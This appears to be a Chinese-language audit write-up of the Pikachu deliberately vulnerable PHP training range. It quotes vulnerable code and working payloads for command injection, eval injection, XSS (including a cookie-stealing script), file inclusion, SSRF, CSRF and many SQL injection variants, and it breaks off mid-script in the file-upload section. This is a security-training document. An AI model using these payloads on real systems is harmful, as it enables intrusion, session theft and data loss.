pikachu靶场代码漏洞分析
部署工具:phpstudy
Command Injection 命令注入
exec "ping"
路径:http://localhost/pikachu-master/vul/rce/rce_ping.php
请求方式:POST
参数:ipaddress=xxx漏洞成因:利用由不可信赖的数据构建的命令来调用 shell_exec()。这种调用会导致程序以攻击者的名义执行恶意命令
审计:
$result='';
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
可以看到,客户端输入的ipaddress参数被服务器接收到以后,带入了shell_exec()命令函数中执行,在这之间,ipaddress未做任何的过滤,导致这里可以被用户输入控制
shell_exec()为命令执行函数,能通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回,属于危险函数
验证:
payload:POST | ipaddress=192.168.43.180 && dir /a
Code Injection 代码注入
exec eval()
路径:http://localhost/pikachu-master/vul/rce/rce_eval.php
请求方式:POST
参数:txt=xxx
漏洞成因:将未验证的用户输入通过eval()解析为源代码。在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
审计:
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
用户输入的参数txt未经任何的过滤,直接传入了eval()函数中执行,导致这里可以被用户输入控制
eval()函数:把字符串按照 PHP 代码来解析,是一个危险函数
验证:
payload:txt=phpinfo();
xss注入
xss DOM
路径:http://localhost/pikachu-master/vul/xss/xss_dom_x.php
请求方式:GET
参数:text=xxx
漏洞成因:
- 客户端传入的值未作任何的过滤处理
- 传入的参数值输出到浏览器页面,恶意代码会被js引擎解析导致xss
审计:
php业务逻辑
$html='';
if(isset($_GET['text'])){
$html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}
js处理
<script>
function domxss(){
var str = window.location.search; //获取url参数部分 也就是?之后的值
console.log(str);
var txss = decodeURIComponent(str.split("text=")[1]); //url解码
console.log(txss);
var xss = txss.replace(/\+/g,' '); //将+替换为空
console.log(xss);
//alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
html
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<?php echo $html;?>
以上的重点在于触发a链接的点击事件后,执行js函数domxss(),在domxss()函数中接收了text参数值,并没有作'、"、<script>
字符的过滤或html编码,直接传入<a href='"+xss+"'>
中,输出到页面
验证:
payload:GET |
?text=' onclick="alert('xss')">
或?text='><img src="#" onm ouseover="alert('xxs')">
xss stored 存储型
路径:http://localhost/pikachu-master/vul/xss/xss_stored.php
请求方式:POST
参数:message=xxx漏洞成因:
- 传入数据通过mysql_real_escape_string()处理后,转义了单引号、双引号、反斜杠等,并没有过滤html、js相关的特殊字符,也就是转义不彻底,然后存入了数据库
- 数据被从数据库中取出,没有html编码或转义,也就是输出未过滤,数据中包含的恶意代码会在浏览器上被js引擎解析
审计:
php插入数据部分
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>数据库出现异常,提交失败!</p>";
}
}
//转义,避免fuck
function escape($link,$data){
if(is_string($data)){
$str = mysqli_real_escape_string($link,$data);
return $str;
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
数据从数据库中读取部分
<div id="xsss_main">
<p class="xsss_title">我是一个留言板:</p>
<form method="post">
<textarea class="xsss_in" name="message"></textarea><br />
<input class="xsss_submit" type="submit" name="submit" value="submit" />
</form>
<div id="show_message">
<br />
<br />
<p class="line">留言列表:</p>
<?php echo $html;
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}
echo $html;
?>
</div>
参数message通过mysql_real_escape_string()会将存在的单引号、双引号、反引号转义,然后存入数据表message中,数据库表中的content值存储的是去掉了反斜杠的数据,
从数据库中取出的content值直接拼接了——> <p class='con'>{$data['content']}</p>
未做任何编码或转义,也就会导致每个访问该页面的用户中招
验证:
payload:POST |
message=<script>alert("xss")</script>
xss reflect 反射型
路径:http://localhost/pikachu-master/vul/xss/xss_01.php
请求方式:GET
参数:message=xxx
过滤方式:使用正则匹配<script
漏洞成因:
- 数据过滤不严格,正则过于简单
'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/'
- 数据在浏览器被
审计:
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
过滤不严格:'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/'
绕过方式:
- 大小写:
<ScRipt></Script>
- img标签触发onerror事件:
<img src=1 one rror="alert(1)">
- HTML实体:
<script>
- 十六进制编码:
<
表示<
验证:
payload:GET |
?message=<img src=1 one rror="alert(1)">
路径:http://localhost/pikachu-master/vul/xss/xss_reflected_get.php
请求方式:GET
参数:message=xxx
漏洞成因:未做任何过滤的数据输出到浏览器页面导致的xss
审计:
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){ //$_POST['message']也是一样的逻辑,只是请求方式不同
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
这里只做了对message参数的判空,未做任何过滤,直接拼接到了$html.="<p class='notice'>愿你和{$_GET['message']}
验证:
palload: GET |
?massage=<script>alert('xss')</script>
xss-htmlspacialchars()默认用法可绕过
路径:http://localhost/pikachu-master/vul/xss/xss_02.php
请求方式:GET
参数:message=xxx
过滤方式:html编码--htmlspacialchars()函数
漏洞成因:使用了htmlspacialchars()默认的处理方式,该函数默认不过滤
'
,导致的
审计:
$html='';
$html1='';
$html2='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']); //等于htmlspecialchars($_GET['message'],ENT_COMPAT)
$html1.="<p class='notice'>你的输入已经被记录:</p>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
htmlspecialchars()函数的默认处理是使用quetestyle类型:ENT_COMPAT,不编码单引号,具体用法如下:
原字符串: Bill" & 'steve'<>
ENT_COMPAT(default): Bill" & 'steve'<> |默认只转换了双引号
ENT_QUOTES: Bill" & 'steve'<> |转换双引号和单引号
ENT_NOQUOTES Bill" & 'steve'<> |不转换任何引号
通过审计,被htmlspecialchars处理过的数据,最后被拼接到了一个a标签的href属性里,这个时候可以通过闭合'
的方式插入恶意代码,因为'
没被过滤
验证:
payload:GET |
?message=' onclick='alert(document.cookie)'
xss-标签属性中javascript协议绕过
路径:http://localhost/pikachu-master/vul/xss/xss_03.php
请求方式:GET
参数:message=xxx
漏洞成因:作了html编码,但是标签属性中可以使用javascript协议来执行js
审计:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
验证:
payload:GET |
?message=javascript:alert(document.cookie)
xss-js绕过
路径:http://localhost/pikachu-master/vul/xss/xss_04.php
请求方式:GET
参数:message=xxx
漏洞成因:未过滤数据并传入了script代码块中
审计:
php
if(isset($_GET['submit']) && $_GET['message'] !=null){
$jsvar=$_GET['message'];
// $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES);
if($jsvar == 'tmac'){
$html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
}
js
<script>
$ms='<?php echo $jsvar;?>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
验证:
payload:GET |
?message=22';alert(1)//
xss-盲打
路径:http://localhost/pikachu-master/vul/xss/xssblind/xss_blind.php
请求方式:POST
参数:content=xxx,name=xxx
漏洞成因:
- 前台用户输入的数据使用了mysql_real_escape_string()做了单引号、双引号、反斜杠等特殊字符的转义,未做html、js特殊字符的过滤,存入了数据库中
- 数据被展示到了后台页面,这期间未做输出过滤,导致xss
审计:
前台php代码
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
$content=escape($link, $_POST['content']);
$name=escape($link, $_POST['name']);
$time=$time=date('Y-m-d g:i:s');
$query="insert into xssblind(time,content,name) values('$time','$content','$name')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
}else {
$html.="<p>ooo.提交出现异常,请重新提交</p>";
}
}
function escape($link,$data){
if(is_string($data)){
$str = mysqli_real_escape_string($link,$data);
return $str;
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
后台管理页面
路径:http://localhost/pikachu-master/vul/xss/xssblind/admin.php
<?php
$query = "select * from xssblind";
$result = mysqli_query($link, $query);
while ($data = mysqli_fetch_assoc($result)) {
$html = <<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
验证:
payload:POST |
name=str&content=<script>var img = document.createElement('img');img.src='http://localhost/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>
前台盲打
后台中招
接收后台cookie
File Inclusion 文件包含
本地文件包含
路径:http://localhost/pikachu-master/vul/fileinclude/fi_local.php
请求方式:GET
参数:filename=xxx
漏洞成因:
- php.ini开启了allow_url_include=on,允许文件包含
- 参数未经过滤直接传入文件包含函数中导致
- 文件包含函数是将文件内容用php解析,不关注文件后缀名
审计:
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
查看php.ini中allow_url_include开启情况
验证:
payload:GET | filename=file://../../../../../../../../../windows/system32/drivers/etc/hosts
远程文件包含
路径:http://localhost/pikachu-master/vul/fileinclude/fi_remote.php
请求方式:GET
参数:filename
漏洞成因:
- php.ini中allow_url_include=On、allow_url_fopen=On
- 参数未经过滤直接传入文件包含函数中导致
- 文件包含函数是将文件内容用php解析,不关注文件后缀名
审计:
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
验证:
payload:GET |
?filename=http://192.168.43.180:8083/phpinfo.txt
http://192.168.43.180:8083部署在ubuntu上
本机是win10
phpinfo.txt内容是:<?php phpinfo();
Open Redirect 开放重定向
路径:http://localhost/pikachu-master/vul/urlredirect/urlredirect.php
请求方式:GET
参数:url=http://xxx
漏洞成因:将未验证的数据传递给 HTTP 重定向函数。如果允许未验证的输入控制重定向机制所使用的 URL,可能会有利于发动钓鱼攻击。
审计:
$html="";
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}");
}
}
可以看到url参数直接拼接了:location:{$url}
验证:
payload:GET | ?url=http://www.baidu.com
CSRF
路径:http://localhost/pikachu-master/vul/csrf/csrfget/csrf_post_edit.php
请求方式:POST
参数:sex=xxx&phonenum=xxx&add=xxx&email=xxx
漏洞成因:
- 一个危险操作的API的参数中,没有不可预测的参数值
- 攻击者制作的pok可以自动获取处于登录状态用户的登录信息
如果同时存在xss漏洞的情况下,csrf漏洞可以和xss漏洞配合使用
可以制作一个钓鱼链接诱惑用户点击访问,更易中招
审计:
$link = connect();
// 判断是否登录,没有登录不能访问
if (!check_csrf_login($link)) {
// echo "<script>alert('登录后才能进入会员中心哦')</script>";
header("location:csrf_post_login.php");
}
$html1 = '';
if (isset($_POST['submit'])) {
if ($_POST['sex'] != null &&
$_POST['phonenum'] != null &&
$_POST['add'] != null &&
$_POST['email'] != null) {
$getdata = escape($link, $_POST);
$query = "update member
set set='{$getdata['sex']}',
phonenum='{$getdata['phonenum']}',
address='{$getdata['add']}',
email='{$getdata['email']}'
where username='{$_SESSION['csrf']['username']}'";
$result = execute($link, $query);
if (mysqli_affected_rows($link) == 1 || mysqli_affected_rows($link) == 0) {
header("location:csrf_post.php");
} else {
$html1 .= '修改失败,请重试';
}
}
}
?>
<?php
//通过当前session-name到数据库查询,并显示其对应信息
$username = $_SESSION['csrf']['username'];
$query = "select * from member where username='$username'";
$result = execute($link, $query);
$data = mysqli_fetch_array($result, MYSQLI_ASSOC);
$name = $data['username'];
$sex = $data['sex'];
$phonenum = $data['phonenum'];
$add = $data['address'];
$email = $data['email'];
$html = <<<A
<div id="per_info">
<form method="post">
<h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_post.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:{$name}</p>
<p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
</div>
A;
echo $html;
echo $html1;
?>
这是一个修改用户信息的业务,可以看到请求的参数中只有username,sex,address,email,这些都是可以用户自定义的,也就是明确的,并没有一个不可预测的参数在其中,由此攻击者可以以此制作出一个钓鱼页面,如果用户在登录的情况下访问该页面,就会在无意识中被修改了个人信息
验证:
制作这个API的csrf的pok,让用户在登录的情况下访问这个页面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.43.183/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="hacker" />
<input type="hidden" name="phonenum" value="hacker" />
<input type="hidden" name="add" value="hacker" />
<input type="hidden" name="email" value="hacker" />
<input id="submit" type="submit" value="Submit request" />
</form>
<script>
document.getElementById('submit').click();
</script>
试验用户:vince
在登录的情况下访问:http://192.168.43.180:8083/csrf_pok.php
修改成功!!!
还有一个路径为:http://localhost/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php的csrf漏洞,不一样的是请求方式是GET,利用方式是一样的....
SSRF
curl_exec
路径:http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php
请求方式:GET
参数:url=xxx
漏洞成因:
- 用户输入的url未经过过滤,被curl_exec()执行,可以在网站服务器上执行curl,然后返回给了前端页面
- curl命令允许从其他服务器获取数据,比如内网系统,curl支持FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP协议
审计:
//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
?>
服务器直接获取了url参数值,未经过滤,传入curl_exec()执行,导致的ssrf
验证:
payload:GET |
?url=file://../../../../../../../../windows/system32/drivers/etc/hosts
file_get_contents
路径:http://localhost/pikachu-master/vul/ssrf/ssrf_fgc.php
请求方式:GET
参数:file=xxx
漏洞成因:
- 用户输入的数据直接代入了file_get_contents()函数中执行
- file_get_contents()函数用于读取文件或者 URL 内容,并返回为字符串。这个函数可以读取本地文件系统中的文件,也可以通过 HTTP、HTTPS 或 FTP 协议读取远程文件内容。
审计:
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
验证:
payload: GET |
?file=php://filter/read=convert.base64-encode/resource=../../../../../../../windows/system32/drivers/etc/hosts
将得到的base64编码的字符解码
sql injection sql注入
数字型注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_id.php
请求方式:POST
参数:id=xxx
漏洞成因:未做任何的处理,直接拼接到sql语句中了
审计:
$link=connect();
$html='';
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
验证:
payload: POST |
id=0 union select user(),database()
使用burp抓包改包
字符型注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_str.php
请求方式:GET
参数:name=xxx
漏洞成因:name没有做任何处理,直接拼接到sql语句中执行了
审计:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
验证:
payload:GET|
?name=' union select user(),database();-- abc
考虑'
的闭合问题
搜索型注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_search.php
请求方式:GET
参数:name=xxx
漏洞成因:没有做任何处理,直接拼到sql语句中了
审计:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
//彩蛋:这里还有个xss
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{
$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}
验证:
payload:GET |
?name=#%' union select 1,user(),database() -- abc
需要闭合%'
xx型注入-('')注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_x.php
请求方式:GET
参数:name=xxx
漏洞成因:没有做任何处理,直接拼到select里面去了
审计:
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
验证:
payload: GET |
?name=') union select user(),database() -- abc
需要闭合')
insert注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php
请求方式:POST
参数:username=xxx&password=xxx&sex=xxx&phonenum=xxx&address=xxx&email=xxx
漏洞成因:各个参数都没有过滤特殊字符,直接代入了insert语句中执行
审计:
$html='';
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address)
values(
'{$getdata['username']}',
md5('{$getdata['password']}'),
'{$getdata['sex']}',
'{$getdata['phonenum']}',
'{$getdata['email']}',
'{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
验证:
insert注入没有回显,这里使用报错注入函数
payload:POST |
username=user' and extractvalue('1',concat(0x7e,user())) and '1'='1&password=123&sex=malephonenum=137&address=a&email=a
最终的执行sql语句是:
insert into member(username,pw,sex,phonenum,address,email) value ('user' and extractvalue('1',concat(0x7e,database())) and '1'='1','123','male','137','a','a');
update注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_edit.php
请求方式:POST
参数:sex=xx&&phonenum=xx&address=xx&email=xx
漏洞成因:未转义,形成注入,sql操作类型为update
审计:
$html1='';
if(isset($_POST['submit'])){
if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
// $getdata=escape($link, $_POST);
//未转义,形成注入,sql操作类型为update
$getdata=$_POST;
$query="update member
set sex='{$getdata['sex']}',
phonenum='{$getdata['phonenum']}',
address='{$getdata['add']}',
email='{$getdata['email']}'
where username='{$_SESSION['sqli']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:sqli_mem.php");
}else {
$html1.='修改失败,请重试';
}
}
}
验证:
payload: POST |
sex=male' and extractvalue('1',concat(0x7e,user())) and '1'='1&phonenum=138&address=a&email=a
执行的sql语句是:
update member set sex='male' and extractvalue('1',concat(0x7e,user())) and '1'='1',phonenum='138',address='a',email='a' where username='vince';
del注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_del.php
请求方式:GET
参数:id=xxx
漏洞成因:未对传进来的id进行处理,导致del注入
审计:
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
验证:
delete语句属于危险操作,如果存在del注入,会导致数据丢失的可能,比如输入:
1 or 1=1
,如果用户权限允许,会将表数据全部删除这里手工测试的话,使用报错注入的手法验证
payload:GET |
0 and extractvalue(1,concat(0x7e,user()))
http header注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_header/sqli_header.php
请求方式:GET
参数:读取请求包中的header字段信息 | REMOTE_ADDR、HTTP_USER_AGENT、HTTP_ACCEPT、REMOTE_PORT
漏洞成因:直接不做任何过滤的,获取数据包中的header信息,并带入insert语句中,存入数据库
审计:
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
if(isset($_GET['logout']) && $_GET['logout'] == 1){
setcookie('ant[uname]','',time()-3600);
setcookie('ant[pw]','',time()-3600);
header("location:sqli_header_login.php");
}
<div class="page-content">
<?php
$html=<<<A
<div id="http_main">
<!-- 这里是直接输出了从$_SERVER接收到的值 -->
<h1>朋友,你好,你的信息已经被记录了:<a href="sqli_header.php?logout=1">点击退出</a></h1>
<p>你的ip地址:$remoteipadd</p>
<p>你的user agent:$useragent</p>
<p>你的http accept:$httpaccept</p>
<p>你的端口(本次连接):tcp$remoteport</p>
</div>
A;
echo $html;
?>
验证:
在burp中改包,这里该USER_AGENT的包,参数是:
injection' and extractvalue(1,concat(0x7e,user())) and '1'='1
,使用报错注入验证
布尔盲注
路径:http://localhost/pikachu-master/vul/sqli/sqli_blind_b.php
请求方式:GET
参数:name=xxx
漏洞成因:未做任何过滤,传入sql语句中执行
审计:
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
验证:
mysqli_query()不打印错误描述,这里就不能使用报错注入了
使用布尔盲注验证:
kobe' and 1=1#
kobe' and 1=2#
kobe' and 1=1#
能够查询出结果
kobe' and 1=2#
输出不存在
时间盲注
路径:http://localhost/pikachu-master/vul/sqli/sqli_blind_t.php
请求方式:GET
参数:name=XXX
漏洞成因:没有做任何处理,直接拼到select里面去了
审计:
$link=connect();
$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{
$html.="<p class='notice'>i don't care who you are!</p>";
}
}
验证:
使用sqlmap扫描:python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_blind_t.php?name=&submit=submit" --thchnique=T -o
宽字节注入
路径:http://localhost/pikachu-master/vul/sqli/sqli_widebyte.php
请求方式:POST
参数:name=xxx
漏洞成因:
- 设置了mysql客户端编码为gbk
- gbk属于宽字节,宽字节编码规则中,两个字节表示一个字符
- 数据过滤特殊字符是通过在特殊字符前加
\
转义成普通字符,在宽字节编码的规则下,通过在特殊字符前手动加入一个字节,将原本要编码成\
的字节去和加入的字节编码,这就使得原本的\
不见了,导致的绕过示例:用户输入:
%df'
->参数过滤:%df%5c%27%20
->GBK编码->%df%5c%27%20:渾'
单引号逃逸了,即可注入
审计:
$link=connect();
$html='';
if(isset($_POST['submit']) && $_POST['name']!=null){
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
验证:
payload: POST |
%df' union select user(),database()#
File Upoad 文件上传漏洞
client check 前端校验
路径:http://localhost/pikachu-master/vul/unsafeupload/clientcheck.php
请求方式:POST
参数:uploadfile=xxx
漏洞成因:上传文件的校验是通过前端js完成的,后端未做文件的校验,众所周知,前端的校验是可以绕过的
审计:
前端代码
<div class="page-content">
<div id="usu_main">
<p class="title">这里只允许上传图片o!</p>
<form class="upload" method="post" enctype="multipart/form-data" action="">
<input class="uploadfile"
type="file"
name="uploadfile"
onchange="checkFileExt(this.value)"/><br />
<input class="sub" type="submit" name="submit" value="开始上传" />
</form>
<?php
echo $html;//输出了路径,暴露了
?>
</div>
</div><!-- /.page-content -->
<script>
function checkFileExt(filename)
{
var flag = false; //状态
